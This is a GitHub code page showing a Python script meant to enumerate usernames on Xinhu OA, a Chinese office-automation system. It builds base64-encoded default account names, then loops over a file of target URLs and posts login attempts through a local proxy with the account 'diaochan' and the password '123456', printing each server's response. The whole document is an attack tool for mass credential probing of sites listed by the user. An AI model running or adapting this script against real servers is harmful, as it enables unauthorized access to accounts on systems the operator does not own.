-
Notifications
You must be signed in to change notification settings - Fork 0
/
信呼oa用户名枚举.py
38 lines (30 loc) · 859 Bytes
/
信呼oa用户名枚举.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import base64
username = ['rock','admin','diaochan','xiaoqiao','daqiao','zhangfei','zhaozl','xinhu']
username_b64 = {name:base64.b64encode(name.encode('utf-8')).decode()+':' for name in username}
print(username_b64)
header= {
'Content-Type': 'application/x-www-form-urlencoded'
}
params = {
'a': 'check',
'm': 'login',
'd': '',
'ajaxbool': 'true',
'rnd': '365342',
}
data = {
'rempass': '0',
'jmpass': 'false',
'device': '1721298388626',
'ltype': '0',
'adminuser': 'ZGlhb2NoYW4=:',
'adminpass': 'MTIzNDU2',
'yanzm': '',
}
for url in open('urls.txt','r').readlines():
try:
response = requests.post(url.strip(), params=params, headers=header,timeout=3, data=data,proxies={'http':'http://127.0.0.1:7890','https':'http://127.0.0.1:7890'})
print("貂蝉",response.json())
except:
pass